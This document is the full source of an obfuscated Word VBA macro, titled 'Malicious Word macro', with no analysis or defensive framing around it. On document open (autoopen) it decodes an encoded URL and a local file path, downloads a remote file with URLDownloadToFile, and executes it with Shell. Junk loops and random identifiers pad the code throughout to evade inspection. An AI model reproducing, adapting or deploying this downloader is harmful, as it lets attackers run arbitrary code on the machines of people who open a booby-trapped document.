Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal fYUGUdsf As LongPtr, _
    ByVal oGYUdsf As String, _
    ByVal dTYIdsf As String, _
    ByVal pJIUdsffwe As Long, _
    ByVal DGUvskdf As LongPtr) As LongPtr
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal fYUGUdsf As Long, _
    ByVal oGYUdsf As String, _
    ByVal dTYIdsf As String, _
    ByVal pJIUdsffwe As Long, _
    ByVal DGUvskdf As Long) As Long
#End If

Sub EOTMli()
 YTH
End Sub
Sub ruYKWpkmCl()
     EOTMli
End Sub
Sub autoopen()
     EOTMli
End Sub
Sub YTH()
 wm6Cn4I iojlO6O("HLIY3Nf3z2k8jD37h1n2OM3N712DGQ3c5M841RZ8C5e6P1C50C4ym1oF504WyV182p4mJ16cK9Z61l47h2dU1rVB5V681sFY728i16H3E2Qm1fn47y2cgAo156j8T1s600hukKO1568X1xE4Z7d2q17jvcwgk816Yz32o9Q216Mpr0B01vcwg856a17b9j2zAmWf1536B1t7d92rI1FZ5E36Pu1jl504Z34tm2R43i55Lg2F3eLE3T28lLX1D504348Goe8Gbdp37w443ADy36X0h14g7Wb2G3u584kEG332Ut8ws3wO584pzSTf"), Environ(iojlO6O("C3iY1epSRGe6q8g15xStVesdG717MAlg2H4hmV1vkL6Glnf0cknj")) & iojlO6O("YNPH1W47E211z3P6142cM4115K2J1696CURf1712N1OCJwc0w6Z16840Z1r600W16Z3273k6SR16Bf161Q92a016Vr16V1pc")
End Sub
Function wm6Cn4I(iGHVHJfdg As String, oH77vHsdf As String) As Boolean
    vJHKBJdfkgfg = URLDownloadToFile(0&, iGHVHJfdg, oH77vHsdf, 0&, 0&)
Dim OUOQsP4IpX As Integer
OUOQsP4IpX = 3
Do While OUOQsP4IpX < 3 + 3
OUOQsP4IpX = OUOQsP4IpX + 7: DoEvents
Loop
   Dim pHJdfgfdgf
Dim f6aKcI As Integer
f6aKcI = 6
Do While f6aKcI < 6 + 3
f6aKcI = f6aKcI + 8: DoEvents
Loop
    pHJdfgfdgf = Shell(oH77vHsdf, 1)
Dim kjZ4A As Integer
kjZ4A = 6
Do While kjZ4A < 6 + 4
kjZ4A = kjZ4A + 6: DoEvents
Loop
End Function

Function iojlO6O(InputStringToBeDecrypted As String) As String
Dim BFRFodbSS As String
Dim W0Iv As Integer
For W0Iv = 3 To 9 + 7
DoEvents
Next W0Iv

Dim JcXLnYVnTT As String
Dim DSKb6AkhAff As Integer
DSKb6AkhAff = 7
Do While DSKb6AkhAff < 7 + 9
DSKb6AkhAff = DSKb6AkhAff + 7: DoEvents
Loop
Dim E5EP8a As String
Dim b1EET4IG As Integer
b1EET4IG = 9
Do While b1EET4IG < 9 + 7
b1EET4IG = b1EET4IG + 4: DoEvents
Loop
Dim qLFtWGD As String
Dim UeaA6asynZ As Integer
For UeaA6asynZ = 4 To 7 + 4
DoEvents
Next UeaA6asynZ

Dim BC2AtsUi As String
Dim oVtcCeae As Integer
For oVtcCeae = 3 To 5 + 6
DoEvents
Next oVtcCeae

Dim ZsnbE As Integer
Dim IBRZ1IEJCoQ As Integer
For IBRZ1IEJCoQ = 5 To 7 + 3
DoEvents
Next IBRZ1IEJCoQ

Dim JpBv4aSO3Oj As Integer
Dim cF5UKURq As Integer
For cF5UKURq = 1 To 8 + 4
DoEvents
Next cF5UKURq

On Error GoTo ErrorHandler
Dim EJL As Integer
For EJL = 3 To 4 + 2
DoEvents
Next EJL

strTempText = InputStringToBeDecrypted
Dim VZS1 As Integer
VZS1 = 4
Do While VZS1 < 4 + 8
VZS1 = VZS1 + 1: DoEvents
Loop
BFRFodbSS = strTempText
Dim B5IKZSvFWtN As Integer
For B5IKZSvFWtN = 2 To 7 + 1
DoEvents
Next B5IKZSvFWtN

JcXLnYVnTT = ""
Dim BWfjNMbhw As Integer
For BWfjNMbhw = 3 To 2 + 8
DoEvents
Next BWfjNMbhw

BFRFodbSS = Left(BFRFodbSS, Len(BFRFodbSS) - 4)
Dim XpVWjFO As Integer
XpVWjFO = 6
Do While XpVWjFO < 6 + 4
XpVWjFO = XpVWjFO + 5: DoEvents
Loop
BFRFodbSS = Right(BFRFodbSS, Len(BFRFodbSS) - 4)
Dim tNIyYJkD As Integer
tNIyYJkD = 6
Do While tNIyYJkD < 6 + 7
tNIyYJkD = tNIyYJkD + 3: DoEvents
Loop
nCharSize = 0
Dim ZC3IG4UtB As Integer
For ZC3IG4UtB = 7 To 4 + 5
DoEvents
Next ZC3IG4UtB

Call Bywa8afpl(BFRFodbSS, nCharSize)
Dim heEncb As Integer
For heEncb = 1 To 4 + 8
DoEvents
Next heEncb

Call Uokn3YefmDL(BFRFodbSS, nCharSize, nEncKey)
Dim ouoqT7Y As Integer
For ouoqT7Y = 4 To 9 + 1
DoEvents
Next ouoqT7Y

nTextLenght = Len(BFRFodbSS)
Dim vXcXZC4I As Integer
For vXcXZC4I = 7 To 5 + 8
DoEvents
Next vXcXZC4I

For nCounter = 1 To Len(BFRFodbSS) Step nCharSize
Dim Es7Etfr As Integer
For Es7Etfr = 8 To 3 + 9
DoEvents
Next Es7Etfr

qLFtWGD = Mid(BFRFodbSS, nCounter, nCharSize)
Dim HRWPCdt8a As Integer
For HRWPCdt8a = 7 To 6 + 7
DoEvents
Next HRWPCdt8a

nChar = aqySdibO(qLFtWGD)
Dim ksYh2UW As Integer
For ksYh2UW = 5 To 2 + 9
DoEvents
Next ksYh2UW

nChar2 = nChar / nEncKey
Dim T3A62OAuvLyG As Integer
T3A62OAuvLyG = 4
Do While T3A62OAuvLyG < 4 + 3
T3A62OAuvLyG = T3A62OAuvLyG + 8: DoEvents
Loop
BC2AtsUi = Chr(nChar2)
Dim FZjm3PekC As Integer
FZjm3PekC = 4
Do While FZjm3PekC < 4 + 2
FZjm3PekC = FZjm3PekC + 9: DoEvents
Loop
JcXLnYVnTT = JcXLnYVnTT + BC2AtsUi
Dim Z4OvQLLqA As Integer
For Z4OvQLLqA = 2 To 6 + 6
DoEvents
Next Z4OvQLLqA

Next nCounter
Dim omFj As Integer
omFj = 9
Do While omFj < 9 + 5
omFj = omFj + 5: DoEvents
Loop
Dim lyBtg As Integer
For lyBtg = 7 To 2 + 4
DoEvents
Next lyBtg

Dim ADgS As Integer
ADgS = 6
Do While ADgS < 6 + 6
ADgS = ADgS + 9: DoEvents
Loop
JcXLnYVnTT = Trim(JcXLnYVnTT)
Dim FWtakhHqfe As Integer
FWtakhHqfe = 1
Do While FWtakhHqfe < 1 + 4
FWtakhHqfe = FWtakhHqfe + 9: DoEvents
Loop
 iojlO6O = JcXLnYVnTT
Dim rwsuXtEW As Integer
rwsuXtEW = 1
Do While rwsuXtEW < 1 + 1
rwsuXtEW = rwsuXtEW + 7: DoEvents
Loop
Exit Function
ErrorHandler:
Dim gfVj As Integer
For gfVj = 1 To 5 + 5
DoEvents
Next gfVj

End Function


Sub Bywa8afpl(ByRef BFRFodbSS, ByRef nCharSize)
Dim dAL As Integer
dAL = 1
Do While dAL < 1 + 3
dAL = dAL + 5: DoEvents
Loop
DecryptParts = DecryptParts & "/ Bywa8afpl/"
Dim UTJJBQ4Oj As Integer
UTJJBQ4Oj = 9
Do While UTJJBQ4Oj < 9 + 3
UTJJBQ4Oj = UTJJBQ4Oj + 3: DoEvents
Loop
nLeft = Len(BFRFodbSS) \ 2
Dim qdFa4aKKPRX As Integer
For qdFa4aKKPRX = 3 To 8 + 4
DoEvents
Next qdFa4aKKPRX

strLeft = Left(BFRFodbSS, nLeft)
Dim CRJn As Integer
CRJn = 7
Do While CRJn < 7 + 9
CRJn = CRJn + 1: DoEvents
Loop
Dim LEqE As Integer
For LEqE = 5 To 8 + 1
DoEvents
Next LEqE

nRight = Len(BFRFodbSS) - nLeft
Dim yLE As Integer
For yLE = 6 To 7 + 6
DoEvents
Next yLE

strRight = Right(BFRFodbSS, nRight)
Dim Udg As Integer
Udg = 7
Do While Udg < 7 + 3
Udg = Udg + 7: DoEvents
Loop
Dim ZmI3E1kvQL As Integer
ZmI3E1kvQL = 7
Do While ZmI3E1kvQL < 7 + 1
ZmI3E1kvQL = ZmI3E1kvQL + 8: DoEvents
Loop
strKeyEnc = Right(strLeft, 2)
Dim VpA0A As Integer
VpA0A = 6
Do While VpA0A < 6 + 2
VpA0A = VpA0A + 4: DoEvents
Loop
strKeySize = Left(strRight, 2)
Dim hKtqJop0hg As Integer
hKtqJop0hg = 7
Do While hKtqJop0hg < 7 + 6
hKtqJop0hg = hKtqJop0hg + 8: DoEvents
Loop
strKeyEnc = OsgHcYbTqR(strKeyEnc)
Dim VCNJiSHGyy As Integer
For VCNJiSHGyy = 2 To 1 + 4
DoEvents
Next VCNJiSHGyy

strKeySize = OsgHcYbTqR(strKeySize)
Dim h2afbKjh As Integer
For h2afbKjh = 3 To 2 + 2
DoEvents
Next h2afbKjh

nKeyEnc = Val(strKeyEnc)
Dim CEg0 As Integer
For CEg0 = 3 To 2 + 4
DoEvents
Next CEg0

nKeySize = Val(strKeySize)
Dim uY1ATZq8Elv As Integer
uY1ATZq8Elv = 4
Do While uY1ATZq8Elv < 4 + 1
uY1ATZq8Elv = uY1ATZq8Elv + 6: DoEvents
Loop
nCharSize = nKeySize - nKeyEnc
Dim HrE4UrjT As Integer
HrE4UrjT = 8
Do While HrE4UrjT < 8 + 6
HrE4UrjT = HrE4UrjT + 4: DoEvents
Loop
BFRFodbSS = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
Dim GB0E5ANRLwL As Integer
GB0E5ANRLwL = 1
Do While GB0E5ANRLwL < 1 + 6
GB0E5ANRLwL = GB0E5ANRLwL + 8: DoEvents
Loop
End Sub

Function OsgHcYbTqR(ByVal cString As String) As String
DecryptParts = DecryptParts & "/ OsgHcYbTqR/"
Dim J1OA3amu As Integer
J1OA3amu = 6
Do While J1OA3amu < 6 + 3
J1OA3amu = J1OA3amu + 3: DoEvents
Loop
For nCounter = 1 To Len(cString)
Dim KKYs0aK2a As Integer
For KKYs0aK2a = 3 To 7 + 6
DoEvents
Next KKYs0aK2a

qLFtWGD = Mid(cString, nCounter, 1)
Dim UAJ7OQ As Integer
UAJ7OQ = 9
Do While UAJ7OQ < 9 + 4
UAJ7OQ = UAJ7OQ + 5: DoEvents
Loop
If IsNumeric(qLFtWGD) Then
Dim pDYhkP0IKC As Integer
For pDYhkP0IKC = 5 To 4 + 3
DoEvents
Next pDYhkP0IKC

Dim JNq As Integer
JNq = 9
Do While JNq < 9 + 6
JNq = JNq + 8: DoEvents
Loop
strTempString = strTempString + qLFtWGD
Dim Y1IM As Integer
For Y1IM = 7 To 7 + 3
DoEvents
Next Y1IM

Else
strTempString = strTempString + "0"
Dim uqtlKjp As Integer
For uqtlKjp = 8 To 7 + 2
DoEvents
Next uqtlKjp

End If
Next nCounter
Dim omFj As Integer
omFj = 9
Do While omFj < 9 + 5
omFj = omFj + 5: DoEvents
Loop
Dim lyBtg As Integer
For lyBtg = 7 To 2 + 4
DoEvents
Next lyBtg

Dim ADgS As Integer
ADgS = 6
Do While ADgS < 6 + 6
ADgS = ADgS + 9: DoEvents
Loop
 OsgHcYbTqR = strTempString
Dim Ygw3U As Integer
Ygw3U = 1
Do While Ygw3U < 1 + 7
Ygw3U = Ygw3U + 3: DoEvents
Loop
End Function

Function aqySdibO(strTempText As String) As Integer
DecryptParts = DecryptParts & "/ aqySdibO/"
Dim jK1ErdpJEG As Integer
For jK1ErdpJEG = 7 To 4 + 4
DoEvents
Next jK1ErdpJEG

strTempText = Trim(strTempText)
Dim eNm6a As Integer
For eNm6a = 3 To 9 + 3
DoEvents
Next eNm6a

For nCounter = 1 To Len(strTempText)
Dim NrASoI As Integer
NrASoI = 1
Do While NrASoI < 1 + 6
NrASoI = NrASoI + 9: DoEvents
Loop
qLFtWGD = Mid(strTempText, nCounter, 1)
Dim ZP2IG4UtB As Integer
For ZP2IG4UtB = 7 To 4 + 5
DoEvents
Next ZP2IG4UtB

If IsNumeric(qLFtWGD) Then
Dim pDYhkP0IKC As Integer
For pDYhkP0IKC = 5 To 4 + 3
DoEvents
Next pDYhkP0IKC

Dim JNq As Integer
JNq = 9
Do While JNq < 9 + 6
JNq = JNq + 8: DoEvents
Loop
BFRFodbSS = BFRFodbSS + qLFtWGD
Dim rXXl1EOq As Integer
For rXXl1EOq = 9 To 2 + 7
DoEvents
Next rXXl1EOq

End If
Next nCounter
Dim omFj As Integer
omFj = 9
Do While omFj < 9 + 5
omFj = omFj + 5: DoEvents
Loop
Dim lyBtg As Integer
For lyBtg = 7 To 2 + 4
DoEvents
Next lyBtg

Dim ADgS As Integer
ADgS = 6
Do While ADgS < 6 + 6
ADgS = ADgS + 9: DoEvents
Loop
nResult = Val(BFRFodbSS)
Dim uk6aIOIKnKU As Integer
For uk6aIOIKnKU = 8 To 8 + 4
DoEvents
Next uk6aIOIKnKU

 aqySdibO = nResult
Dim YWv As Integer
For YWv = 9 To 9 + 1
DoEvents
Next YWv

End Function

Sub Uokn3YefmDL(ByRef BFRFodbSS, ByVal nCharSize, ByRef nEncKey)
Dim PeX7ItQ As Integer
For PeX7ItQ = 7 To 5 + 4
DoEvents
Next PeX7ItQ

DecryptParts = DecryptParts & "/ Uokn3YefmDL/"
Dim qSm As Integer
qSm = 3
Do While qSm < 3 + 7
qSm = qSm + 3: DoEvents
Loop
strEncKey = vbNullString
Dim yLR As Integer
For yLR = 6 To 7 + 6
DoEvents
Next yLR

ZsnbE = Len(BFRFodbSS) - nCharSize
Dim YAV3EFG2aQK As Integer
YAV3EFG2aQK = 7
Do While YAV3EFG2aQK < 7 + 3
YAV3EFG2aQK = YAV3EFG2aQK + 8: DoEvents
Loop
nLeft = ZsnbE \ 2
Dim VDaJi As Integer
For VDaJi = 3 To 6 + 9
DoEvents
Next VDaJi

strLeft = Left(BFRFodbSS, nLeft)
Dim CRJn As Integer
CRJn = 7
Do While CRJn < 7 + 9
CRJn = CRJn + 1: DoEvents
Loop
Dim LEqE As Integer
For LEqE = 5 To 8 + 1
DoEvents
Next LEqE

nRight = ZsnbE - nLeft
Dim aE7AS4EF As Integer
aE7AS4EF = 9
Do While aE7AS4EF < 9 + 7
aE7AS4EF = aE7AS4EF + 3: DoEvents
Loop
strRight = Right(BFRFodbSS, nRight)
Dim Udg As Integer
Udg = 7
Do While Udg < 7 + 3
Udg = Udg + 7: DoEvents
Loop
Dim ZmI3E1kvQL As Integer
ZmI3E1kvQL = 7
Do While ZmI3E1kvQL < 7 + 1
ZmI3E1kvQL = ZmI3E1kvQL + 8: DoEvents
Loop
strEncKey = Mid(BFRFodbSS, nLeft + 1, nCharSize)
Dim WDMsR As Integer
WDMsR = 4
Do While WDMsR < 4 + 1
WDMsR = WDMsR + 4: DoEvents
Loop
strEncKey = OsgHcYbTqR(strEncKey)
Dim JVpjYB As Integer
For JVpjYB = 7 To 7 + 2
DoEvents
Next JVpjYB

nEncKey = Val(Trim(strEncKey))
Dim Dr7EGrE As Integer
For Dr7EGrE = 8 To 3 + 9
DoEvents
Next Dr7EGrE

BFRFodbSS = strLeft + strRight
Dim GQiOBcw8 As Integer
For GQiOBcw8 = 9 To 7 + 8
DoEvents
Next GQiOBcw8

End Sub